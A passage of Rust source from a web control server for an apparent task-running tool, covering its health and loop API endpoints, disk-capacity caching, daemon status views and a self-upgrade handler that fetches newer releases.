2656        AutoUpgradeDecision::Trigger
2657    }
2658}
2659
2660/// Refresh the shared cache and optionally request the same handover as the UI.
2661async fn run_update_recheck(ui: Arc<Ui>) {
2662    loop {
2663        tokio::time::sleep(update_recheck_once(&ui).await).await;
2664    }
2665}
2666
2667async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2668    let cfg = match Config::discover(&ui.repo, None) {
2669        Ok((cfg, _)) => cfg,
2670        Err(e) => {
2671            updater::log_warn(
2672                &ui.home,
2673                &format!("auto-upgrade: config unavailable: {e:#}"),
2674            );
2675            return UPDATE_RECHECK_POLL_MAX;
2676        }
2677    };
2678    if should_spawn_recheck(&cfg.update)
2679        && let Some(checker) = updater::Checker::new(&cfg.update)
2680    {
2681        let progress = updater::read_progress(&ui.home);
2682        let mut latest = checker.cached_update();
2683        if update_recheck_due(&checker, progress.as_ref()) {
2684            match checker.newer_release().await {
2685                Ok(found) => latest = found,
2686                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2687            }
2688        }
2689        if cfg.update.auto_restart
2690            && let Some(latest) = latest
2691        {
2692            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2693            updater::log_step(
2694                &ui.home,
2695                &format!("auto-upgrade: request status {}", response.status()),
2696            );
2697        }
2698    }
2699    recheck_poll_period(&cfg.update)
2700}
2701
2702/// [`UpdateView`] from the same throttled, disk-only state
2703/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2704/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2705/// no cached state at all, which is correct: an operator who turned checking
2706/// off gets no opinion, not a stale one.
2707fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2708    let default;
2709    let cfg = match cfg {
2710        Some(cfg) => cfg,
2711        None => {
2712            default = Config::default();
2713            &default
2714        }
2715    };
2716    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2717    match latest {
2718        Some(latest) => UpdateView {
2719            available: true,
2720            to: Some(latest.tag_name),
2721        },
2722        None => UpdateView {
2723            available: false,
2724            to: None,
2725        },
2726    }
2727}
2728
2729/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2730/// from the parked run's own state when the stage is
2731/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2732/// already on disk in `run.json`, so this reads them fresh rather than
2733/// trusting whatever was true the moment the park was requested.
2734fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2735    let now = Timestamp::now();
2736    let lease = updater::read_lease(&ui.home);
2737    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2738    let run_id = alive
2739        .and_then(|l| l.parked_run.as_deref())
2740        .or(progress.parked_run.as_deref());
2741    let parking = progress.stage == updater::Stage::Parking;
2742    let waited = alive.map_or_else(String::new, |l| {
2743        let secs = updater::waited_secs(l, now);
2744        format!(" (waited {} min so far)", secs / 60)
2745    });
2746    let run_text = run_id
2747        .filter(|_| parking)
2748        .map(|id| match read_run(&ui.runs, id).ok() {
2749            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2750            None => format!("run {id} is finishing"),
2751        });
2752    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2753        .filter(|t| parking && !t.is_empty())
2754        .map(|t| format!("{t} finishing"));
2755    let waiting_on = match (run_text, talks_text) {
2756        (None, None) => None,
2757        (run, talks) => {
2758            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2759            Some(format!(
2760                "{} before the address is handed over{waited}",
2761                parts.join(" and ")
2762            ))
2763        }
2764    };
2765    let detail = progress
2766        .detail
2767        .clone()
2768        .or_else(|| updater::read_note(&ui.home, &progress));
2769    let stalled = updater::stall(&progress, lease.as_ref(), now);
2770    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2771    UpgradeProgressView {
2772        trigger: progress.trigger,
2773        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2774        stuck_kind: stalled.map(|s| s.kind),
2775        handover_alive: alive.is_some(),
2776        stage: progress.stage,
2777        from: progress.from,
2778        to: progress.to,
2779        waiting_on,
2780        started_at: progress.started_at,
2781        updated_at: progress.updated_at,
2782        detail,
2783    }
2784}
2785
2786/// Last successful capacity observations, independent of admission/cleanup.
2787/// Cold or unavailable directory measurements are null, never invented zeros.
2788#[derive(Debug, Serialize)]
2789struct DiskView {
2790    /// Free bytes on the volume holding the runs, when measurable.
2791    #[serde(skip_serializing_if = "Option::is_none")]
2792    free_bytes: Option<u64>,
2793    /// Everything the runs directory occupies, when fully measurable.
2794    runs_bytes: Option<u64>,
2795    /// Everything the runs' worktrees occupy.
2796    worktrees_bytes: Option<u64>,
2797    /// The shared build cache's size, when the config names one.
2798    #[serde(skip_serializing_if = "Option::is_none")]
2799    cache_bytes: Option<u64>,
2800    /// Last bounded cleanup report, including retention and failure reasons.
2801    retention: Option<crate::retention::Report>,
2802}
2803
2804/// Capacity walks have their own demand-driven single flight, not the revision
2805/// worker: a large build cache must never delay revisions or a health response.
2806const DISK_REFRESH: Duration = Duration::from_secs(60);
2807
2808#[derive(Debug, Clone, PartialEq, Eq)]
2809struct DiskScope {
2810    runs: PathBuf,
2811    worktrees: PathBuf,
2812    cache: Option<PathBuf>,
2813}
2814
2815impl DiskScope {
2816    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2817        Self {
2818            runs: ui.runs.clone(),
2819            worktrees: ui.worktrees_root.clone(),
2820            cache: cfg.and_then(Config::cache_dir),
2821        }
2822    }
2823}
2824
2825#[derive(Debug, Clone, Copy, Default)]
2826struct DiskCapacity {
2827    free_bytes: Option<u64>,
2828    runs_bytes: Option<u64>,
2829    worktrees_bytes: Option<u64>,
2830    cache_bytes: Option<u64>,
2831}
2832
2833impl DiskCapacity {
2834    fn measure(scope: &DiskScope) -> Self {
2835        Self {
2836            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2837            runs_bytes: disk_capacity_size(&scope.runs),
2838            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2839            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2840        }
2841    }
2842
2843    fn retain_successes(&mut self, next: Self) {
2844        self.free_bytes = next.free_bytes.or(self.free_bytes);
2845        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2846        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2847        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2848    }
2849}
2850
2851/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2852/// best-effort total, an incomplete observation must not look like an empty tree.
2853fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2854    let metadata = match std::fs::symlink_metadata(path) {
2855        Ok(metadata) => metadata,
2856        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2857        Err(_) => return None,
2858    };
2859    if !metadata.is_dir() {
2860        return Some(if metadata.is_file() {
2861            metadata.len()
2862        } else {
2863            0
2864        });
2865    }
2866    let mut total = 0;
2867    let mut stack = vec![path.to_owned()];
2868    while let Some(dir) = stack.pop() {
2869        for entry in std::fs::read_dir(dir).ok()? {
2870            let entry = entry.ok()?;
2871            let metadata = entry.metadata().ok()?;
2872            if metadata.is_dir() {
2873                stack.push(entry.path());
2874            } else if metadata.is_file() {
2875                total += metadata.len();
2876            }
2877        }
2878    }
2879    Some(total)
2880}
2881
2882#[derive(Debug, Default)]
2883struct DiskObservation {
2884    scope: Option<DiskScope>,
2885    capacity: DiskCapacity,
2886    in_flight: bool,
2887    finished: Option<std::time::Instant>,
2888}
2889
2890impl DiskObservation {
2891    fn observe(
2892        state: &Arc<Mutex<Self>>,
2893        scope: DiskScope,
2894        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2895    ) -> DiskCapacity {
2896        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2897        if observation.scope.as_ref() != Some(&scope) {
2898            observation.scope = Some(scope.clone());
2899            observation.capacity = DiskCapacity::default();
2900            observation.finished = None;
2901        }
2902        let capacity = observation.capacity;
2903        if observation.in_flight
2904            || observation
2905                .finished
2906                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2907        {
2908            return capacity;
2909        }
2910        observation.in_flight = true;
2911        drop(observation);
2912
2913        let refresh = DiskRefresh {
2914            state: Arc::clone(state),
2915            scope,
2916        };
2917        tokio::task::spawn_blocking(move || {
2918            let next = measure(&refresh.scope);
2919            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2920            if observation.scope.as_ref() == Some(&refresh.scope) {
2921                observation.capacity.retain_successes(next);
2922            }
2923            drop(observation);
2924            // The guard also clears the flight on panic or a cancelled,
2925            // not-yet-started blocking job. No failed scan can wedge health.
2926            drop(refresh);
2927        });
2928        capacity
2929    }
2930}
2931
2932struct DiskRefresh {
2933    state: Arc<Mutex<DiskObservation>>,
2934    scope: DiskScope,
2935}
2936
2937impl Drop for DiskRefresh {
2938    fn drop(&mut self) {
2939        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2940        observation.in_flight = false;
2941        if observation.scope.as_ref() == Some(&self.scope) {
2942            // Wait a full period after completion, including failed scans.
2943            observation.finished = Some(std::time::Instant::now());
2944        }
2945    }
2946}
2947
2948impl DiskView {
2949    /// Return immediately, retaining known capacity while one worker refreshes.
2950    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2951        let capacity = DiskObservation::observe(
2952            &ui.monitor.disk,
2953            DiskScope::of(ui, cfg),
2954            DiskCapacity::measure,
2955        );
2956        Self::with_capacity(ui, capacity)
2957    }
2958
2959    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2960        Self {
2961            free_bytes: crate::disk::free_bytes(&ui.runs)
2962                .ok()
2963                .or(capacity.free_bytes),
2964            runs_bytes: capacity.runs_bytes,
2965            worktrees_bytes: capacity.worktrees_bytes,
2966            cache_bytes: capacity.cache_bytes,
2967            retention: ui
2968                .runs
2969                .parent()
2970                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2971                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2972        }
2973    }
2974}
2975
2976/// The daemon's state as the UI presents it.
2977#[derive(Debug, Serialize)]
2978struct DaemonView {
2979    running: bool,
2980    idle: Option<bool>,
2981    dispatch_wait: Option<daemon::DispatchWait>,
2982    pid: Option<u32>,
2983    /// Every task and run currently in flight. Empty when idle; more than
2984    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2985    /// run going at once.
2986    current: Vec<daemon::Current>,
2987    completed: Option<u64>,
2988    stale_for_secs: Option<i64>,
2989}
2990
2991impl DaemonView {
2992    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2993    /// not this UI's — a crashed daemon must not look alive here while
2994    /// `doctor` calls it dead.
2995    fn of(status: Option<daemon::Reading>) -> Self {
2996        let Some(status) = status else {
2997            return Self {
2998                running: false,
2999                idle: None,
3000                dispatch_wait: None,
3001                pid: None,
3002                current: Vec::new(),
3003                completed: None,
3004                stale_for_secs: None,
3005            };
3006        };
3007        let now = Timestamp::now();
3008        let age = status.age_secs(now);
3009        Self {
3010            running: status.running(now),
3011            idle: Some(status.idle),
3012            dispatch_wait: status.dispatch_wait,
3013            pid: status.pid,
3014            current: status.current,
3015            completed: Some(status.completed),
3016            stale_for_secs: age,
3017        }
3018    }
3019}
3020
3021// Discover display configuration off the request path. Capacity measurement
3022// retains its separate single flight and scope/failure handling below.
3023fn refresh_health_config(ui: &Arc<Ui>) {
3024    let mut cache = ui
3025        .monitor
3026        .disk_cache
3027        .lock()
3028        .unwrap_or_else(PoisonError::into_inner);
3029    if cache.loading
3030        || cache
3031            .measured
3032            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3033    {
3034        return;
3035    }
3036    cache.loading = true;
3037    let weak = Arc::downgrade(ui);
3038    std::thread::spawn(move || {
3039        let Some(ui) = weak.upgrade() else { return };
3040        let cfg = deputy_config(&ui.repo);
3041        let update = cached_update_view(cfg.as_ref());
3042        let mut cache = ui
3043            .monitor
3044            .disk_cache
3045            .lock()
3046            .unwrap_or_else(PoisonError::into_inner);
3047        cache.config = cfg;
3048        cache.update = Some(update);
3049        cache.measured = Some(std::time::Instant::now());
3050        cache.loading = false;
3051    });
3052}
3053
3054fn health_counts(
3055    ui: &Ui,
3056    fallback_questions_rev: u64,
3057) -> ApiResult<(usize, usize, usize, u64, usize)> {
3058    let mut index = ui
3059        .monitor
3060        .health_index
3061        .lock()
3062        .unwrap_or_else(PoisonError::into_inner);
3063    let ids = run_ids(&ui.runs);
3064    let seen: HashSet<_> = ids.iter().cloned().collect();
3065    index.runs.retain(|id, _| seen.contains(id));
3066    let mut unreadable = 0;
3067    for id in ids {
3068        // Recheck identity on every request, including atomic replacements
3069        // with preserved length/mtime. A failed stat is never cached as good.
3070        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3071        let bad = match identity {
3072            Ok(identity) => {
3073                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3074                    let bad = read_run(&ui.runs, &id).is_err();
3075                    index.runs.insert(id.clone(), (identity, bad));
3076                    #[cfg(test)]
3077                    {
3078                        index.run_parses += 1;
3079                    }
3080                }
3081                index.runs[&id].1
3082            }
3083            Err(_) => true,
3084        };
3085        unreadable += usize::from(bad);
3086    }
3087    let questions_rev = try_stamps(ui.questions.root(), false, true)
3088        .map(|stamps| stamps_revision(&stamps))
3089        .unwrap_or(fallback_questions_rev);
3090    if index.questions.as_ref().is_none_or(|counts| {
3091        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3092    }) {
3093        let questions = ui.questions.list();
3094        index.questions = Some(QuestionCounts {
3095            revision: questions_rev,
3096            measured: std::time::Instant::now(),
3097            open: questions.iter().filter(|q| q.status.open()).count(),
3098            owner: questions
3099                .iter()
3100                .filter(|q| {
3101                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3102                })
3103                .count(),
3104        });
3105    }
3106    let notifications_rev =
3107        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3108    if index
3109        .notices
3110        .is_none_or(|(rev, _)| rev != notifications_rev)
3111    {
3112        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3113    }
3114    let questions = index.questions.as_ref().unwrap();
3115    Ok((
3116        unreadable,
3117        questions.open,
3118        questions.owner,
3119        notifications_rev,
3120        index.notices.unwrap().1,
3121    ))
3122}
3123
3124async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3125    let revisions = ui.monitor.revisions(&ui).await?;
3126    refresh_health_config(&ui);
3127    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3128        // One read of the status file for the two fields that describe it, so
3129        // `daemon` and `loop` in the same answer cannot disagree about who is
3130        // running the loop.
3131        let reading = daemon::read_status(&ui.home);
3132        // Read on its own line, not inside the literal below: the loop's lock
3133        // is not reentrant, and a guard taken as a temporary there would still
3134        // be held when `loop_view` took it again.
3135        let loop_rev = ui.lock_loop().rev;
3136        let (
3137            runs_unreadable,
3138            questions_open,
3139            questions_needs_owner,
3140            notifications_rev,
3141            notifications_unread,
3142        ) = health_counts(&ui, revisions.2)?;
3143        let ((cfg, config_observed, sizes, measured), update) = {
3144            let cache = ui
3145                .monitor
3146                .disk_cache
3147                .lock()
3148                .unwrap_or_else(PoisonError::into_inner);
3149            (
3150                (
3151                    cache.config.clone(),
3152                    cache.measured.is_some(),
3153                    cache.disk.clone(),
3154                    cache.measured,
3155                ),
3156                cache.update.clone().unwrap_or(UpdateView {
3157                    available: false,
3158                    to: None,
3159                }),
3160            )
3161        };
3162        // Retain the base's capacity observation independently of config
3163        // refreshes. A cold config read may still be pending; an existing
3164        // capacity flight must remain visible to concurrent health requests.
3165        let prior_capacity = {
3166            let mut observation = ui
3167                .monitor
3168                .disk
3169                .lock()
3170                .unwrap_or_else(PoisonError::into_inner);
3171            // Adopt a completed size snapshot only before the scoped capacity
3172            // observer has started. Later scope changes remain its authority.
3173            if observation.scope.is_none()
3174                && let Some(sizes) = sizes
3175            {
3176                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3177                observation.capacity = DiskCapacity {
3178                    runs_bytes: Some(sizes.runs),
3179                    worktrees_bytes: Some(sizes.worktrees),
3180                    cache_bytes: sizes.cache,
3181                    free_bytes: None,
3182                };
3183                observation.finished = measured;
3184            }
3185            observation.scope.as_ref().map(|_| observation.capacity)
3186        };
3187        let disk = if config_observed {
3188            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3189        } else {
3190            serde_json::to_value(DiskView::with_capacity(
3191                &ui,
3192                prior_capacity.unwrap_or_default(),
3193            ))
3194            .ok()
3195        };
3196        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3197        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3198        #[cfg(not(test))]
3199        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3200        #[cfg(test)]
3201        let looping = ui.loop_view(reading.clone());
3202        Ok(Json(HealthView {
3203            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3204            version: env!("CARGO_PKG_VERSION"),
3205            home: ui.home.display().to_string(),
3206            queue_rev: revisions.0,
3207            runs_rev: revisions.1,
3208            questions_rev: revisions.2,
3209            talks_rev: revisions.3,
3210            notifications_rev,
3211            notifications_unread,
3212            loop_rev,
3213            runs_unreadable,
3214            questions_open,
3215            questions_needs_owner,
3216            daemon: DaemonView::of(reading.clone()),
3217            looping,
3218            disk,
3219            update,
3220            upgrade,
3221            upgrade_request_error: ui
3222                .upgrade_request_error
3223                .lock()
3224                .unwrap_or_else(PoisonError::into_inner)
3225                .clone(),
3226        }))
3227    })
3228    .await
3229}
3230
3231/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3232#[derive(Debug, Serialize)]
3233struct LoopView {
3234    /// A scheduler is running, independently of this web process.
3235    running: bool,
3236    /// The scheduler has been asked to stop scheduling new work.
3237    stopping: bool,
3238    /// An explicit operator park was requested, independently from updates.
3239    parking: bool,
3240    /// This scheduler supports durable controls from any web generation.
3241    owned: bool,
3242    /// Repository the loop uses for tasks that name none - what it was
3243    /// started with while it runs, and what a start would use before that.
3244    repo: String,
3245    /// Merge mode override in force, or `null` when each repository's own
3246    /// config decides.
3247    merge: Option<String>,
3248    /// Why the last loop in this process ended, when it ended badly.
3249    ///
3250    /// The only place a crashed loop is visible to someone holding a phone.
3251    /// It is logged at error level as well, but a terminal nobody kept open
3252    /// is not a report, and a loop that died at 3am must not read as merely
3253    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3254    /// answers the same question about the same kind of failure.
3255    last_error: Option<String>,
3256    /// The status file, judged the same way `/api/health` judges it: this is
3257    /// what says whether a loop is alive in some *other* process.
3258    daemon: DaemonView,
3259}
3260
3261/// A legacy embedded scheduler that this web process cannot control.
3262///
3263/// Worker-protocol schedulers use durable controls regardless of which process
3264/// started them. Older schedulers are identified by their foreign heartbeat.
3265#[derive(Debug, Clone, Copy)]
3266struct Foreign {
3267    /// The pid the other process published, when it published one.
3268    pid: Option<u32>,
3269}
3270
3271impl Foreign {
3272    /// Another process's live loop, or `None` when this process is free to
3273    /// run one.
3274    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3275        // A fresh heartbeat with no pid in it is still evidence of a live
3276        // daemon. "Some other process" is the honest answer, and refusing
3277        // to start beside it is the safe one.
3278        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3279            return None;
3280        }
3281        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3282    }
3283
3284    /// How a conflict names it. The pid is the whole point of the message: it
3285    /// is what the operator needs to find the terminal that owns the loop.
3286    fn who(&self) -> String {
3287        match self.pid {
3288            Some(pid) => format!("another magi process (pid {pid})"),
3289            None => "another magi process".to_owned(),
3290        }
3291    }
3292}
3293
3294/// How a loop is started, as a future this module can hold onto.
3295///
3296/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3297/// trait object or a hand-written `Debug` impl for the sake of one seam.
3298type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3299
3300#[cfg(test)]
3301type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3302
3303/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3304#[cfg(test)]
3305fn launch_daemon(
3306    opts: daemon::Opts,
3307    stop: daemon::Stop,
3308) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3309    Box::pin(daemon::serve_until(opts, stop))
3310}
3311
3312/// Local web-control revisions and errors, plus the unit-test launch seam.
3313#[derive(Debug, Default)]
3314struct LoopState {
3315    /// The loop, while there is one.
3316    #[cfg(test)]
3317    live: Option<Live>,
3318    /// Local control changes streamed as `loop_rev`; actual scheduler and
3319    /// execution ownership comes from durable status and OS-held worker leases.
3320    rev: u64,
3321    /// Why the last loop ended, when it ended badly. See
3322    /// [`LoopView::last_error`].
3323    last_error: Option<String>,
3324}
3325
3326/// A loop in flight.
3327#[cfg(test)]
3328#[derive(Debug)]
3329struct Live {
3330    /// The cooperative stop, shared with the loop task.
3331    stop: daemon::Stop,
3332    /// The task itself, kept only to answer whether it is still there: a loop
3333    /// that panicked never records its own end, and without this the view
3334    /// would go on reporting a loop that no longer exists - the one lie that
3335    /// would leave the operator with no button to press.
3336    handle: tokio::task::JoinHandle<()>,
3337    /// What the loop was started with, so the view reports the repository and
3338    /// merge mode its runs will actually use rather than what an edit to the
3339    /// config since would give.
3340    opts: daemon::Opts,
3341}
3342
3343#[cfg(test)]
3344impl Live {
3345    /// Is the task still there? See [`Live::handle`].
3346    fn alive(&self) -> bool {
3347        !self.handle.is_finished()
3348    }
3349}
3350
3351/// Take the loop lock, recovering from a poisoned one.
3352///
3353/// What this mutex holds is a stop flag, a task handle and two counters, none
3354/// of which a panic elsewhere can leave in a state worth refusing to read.
3355/// Propagating the poison instead would mean an operator who can see the loop
3356/// running and can no longer stop it from the only surface they have.
3357fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3358    state.lock().unwrap_or_else(PoisonError::into_inner)
3359}
3360
3361/// `GET /api/loop`.
3362async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3363    blocking(move || {
3364        let reading = daemon::read_status(&ui.home);
3365        #[cfg(not(test))]
3366        let view = ui.try_loop_view(reading)?;
3367        #[cfg(test)]
3368        let view = ui.loop_view(reading);
3369        Ok(Json(view))
3370    })
3371    .await
3372}
3373
3374/// The body of `POST /api/loop`.
3375///
3376/// One required field and nothing else: no `default` and no unknown fields,
3377/// so a body that fails to say which way the switch was flipped is a 400
3378/// rather than a tap that quietly does the opposite of what was pressed.
3379#[derive(Debug, Deserialize)]
3380#[serde(deny_unknown_fields)]
3381struct LoopCommand {
3382    running: bool,
3383    /// Stop the run in flight at its next node boundary rather than letting it
3384    /// finish.
3385    ///
3386    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3387    /// competition is tens of minutes of paid work and finishing it is
3388    /// normally the cheapest thing to do. A park is for the operator who
3389    /// wants the process gone now - to replace the binary, most of all - and
3390    /// it costs at most the node in progress because every node writes its
3391    /// state before the next one starts.
3392    #[serde(default)]
3393    park: bool,
3394}
3395
3396/// Start or control the detached scheduler without waiting for execution
3397/// workers. Only an explicit park asks workers to stop at a node boundary.
3398async fn loop_post(
3399    State(ui): State<Arc<Ui>>,
3400    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3401) -> ApiResult<Json<LoopView>> {
3402    // Taken as a `Result` so a malformed body is a 400 like every other route
3403    // here, rather than axum's default 422 that the UI has no branch for.
3404    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3405    #[cfg(not(test))]
3406    {
3407        if body.running {
3408            ui.start_detached_loop().await?;
3409        } else {
3410            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3411            ui.stop_loop(foreign, body.park)?;
3412        }
3413        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3414    }
3415    #[cfg(test)]
3416    {
3417        blocking(move || {
3418            let reading = daemon::read_status(&ui.home);
3419            let foreign = Foreign::of(reading.as_ref());
3420            if body.running {
3421                ui.start_loop(foreign)?;
3422            } else {
3423                ui.stop_loop(foreign, body.park)?;
3424            }
3425            Ok(Json(ui.loop_view(reading)))
3426        })
3427        .await
3428    }
3429}
3430
3431/// What `POST /api/upgrade` set in motion.
3432#[derive(Debug, Serialize)]
3433struct UpgradeView {
3434    /// The version this process is running.
3435    from: String,
3436    /// The release it is replacing itself with, when there is one.
3437    to: Option<String>,
3438    /// What the operator should expect to happen next.
3439    detail: String,
3440}
3441
3442/// The stage of an upgrade that is still moving, if the record says so.
3443/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3444fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3445    progress.filter(|p| !p.stage.terminal())
3446}
3447
3448/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3449/// Unknown diagnostics retain their complete message without guessing a delay.
3450fn upgrade_retry_after(message: &str) -> Option<u64> {
3451    if !message.contains("GitHub") || !message.contains("rate limit") {
3452        return None;
3453    }
3454    if message.contains("retry now") {
3455        return Some(0);
3456    }
3457    let duration = message
3458        .split_once("resets in ")
3459        .or_else(|| message.split_once("retry after "))?
3460        .1
3461        .split_once(')')?
3462        .0;
3463    let mut rest = duration.trim();
3464    if rest.is_empty() {
3465        return None;
3466    }
3467    let mut total = 0u64;
3468    while !rest.is_empty() {
3469        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3470        let amount: u64 = rest[..n].parse().ok()?;
3471        let scale = match rest[n..].chars().next()? {
3472            's' => 1,
3473            'm' => 60,
3474            'h' => 3600,
3475            'd' => 86400,
3476            _ => return None,
3477        };
3478        total = total.checked_add(amount.checked_mul(scale)?)?;
3479        rest = rest[n + 1..].trim_start();
3480    }
3481    Some(total)
3482}
3483
3484#[derive(Debug, Clone, Serialize)]
3485struct UpgradeRequestFailure {
3486    occurred_at: String,
3487    error: String,
3488    retry_after_secs: Option<u64>,
3489    /// Unix seconds; independent of the phone's polling cadence.
3490    retry_at: Option<u64>,
3491}
3492
3493impl UpgradeRequestFailure {
3494    fn new(error: String) -> Self {
3495        let retry_after_secs = upgrade_retry_after(&error);
3496        let now = std::time::SystemTime::now()
3497            .duration_since(std::time::UNIX_EPOCH)
3498            .unwrap_or_default()
3499            .as_secs();
3500        Self {
3501            occurred_at: jiff::Timestamp::now().to_string(),
3502            error,
3503            retry_after_secs,
3504            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3505        }
3506    }
3507}
3508
3509/// `POST /api/upgrade` - replace this binary with the newest release and come
3510/// back on it.
3511///
3512/// Replace the installed binary, restart the detached scheduler, release the
3513/// web listener, then start the successor. Active task and conversation
3514/// workers retain their immutable executable and continue without parking.
3515///
3516/// A legacy embedded scheduler is the only incompatible owner: its work
3517/// must finish or park before the first migration replaces its process.
3518///
3519/// Answers **202**: the reply has to reach the phone while this process can
3520/// still send one, and the phone learns the deck is back by reconnecting.
3521async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3522    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3523}
3524
3525async fn begin_upgrade(
3526    ui: &Arc<Ui>,
3527    trigger: updater::UpgradeTrigger,
3528    latest: Option<kaishin::LatestRelease>,
3529) -> Response {
3530    let reading = daemon::read_status(&ui.home);
3531    if let Some(other) = Foreign::of(reading.as_ref()) {
3532        return ApiError::conflict(format!(
3533            "{} is a legacy scheduler without detached restart support. \
3534             Finish or explicitly park its work in the existing UI before \
3535             this first migration; independent schedulers do not need this.",
3536            other.who()
3537        ))
3538        .into_response();
3539    }
3540
3541    // A second upgrade while one is moving would replace the binary and
3542    // signal the handover again after `serve` already consumed the first
3543    // signal, leaving the process in `replaced` forever. Try-lock rather than
3544    // wait: a phone connection must not hang behind a GitHub round trip.
3545    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3546        return ApiError::conflict("another request is already preparing an upgrade")
3547            .into_response();
3548    };
3549    // Hold the same gate through recording/clearing the request outcome, so
3550    // an older response cannot overwrite a retry's result.
3551    if trigger == updater::UpgradeTrigger::Auto {
3552        let cfg = match Config::discover(&ui.repo, None) {
3553            Ok((cfg, _)) => cfg,
3554            Err(e) => {
3555                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3556            }
3557        };
3558        let Some(latest) = latest else {
3559            return StatusCode::NO_CONTENT.into_response();
3560        };
3561        let in_motion = ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3562            || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some();
3563        let decision = {
3564            let failed = ui
3565                .auto_failed_tag
3566                .lock()
3567                .unwrap_or_else(PoisonError::into_inner);
3568            auto_upgrade_decision(
3569                &cfg.update,
3570                updater::disabled_by_env(),
3571                in_motion,
3572                &latest.tag_name,
3573                failed.as_deref(),
3574            )
3575        };
3576        if let AutoUpgradeDecision::Skip(reason) = decision {
3577            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3578            return StatusCode::NO_CONTENT.into_response();
3579        }
3580        return finish_upgrade_request(
3581            ui,
3582            upgrade_checked_for(
3583                ui,
3584                env!("CARGO_PKG_VERSION").into(),
3585                Ok(Some(latest)),
3586                trigger,
3587            ),
3588        );
3589    }
3590    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3591}
3592
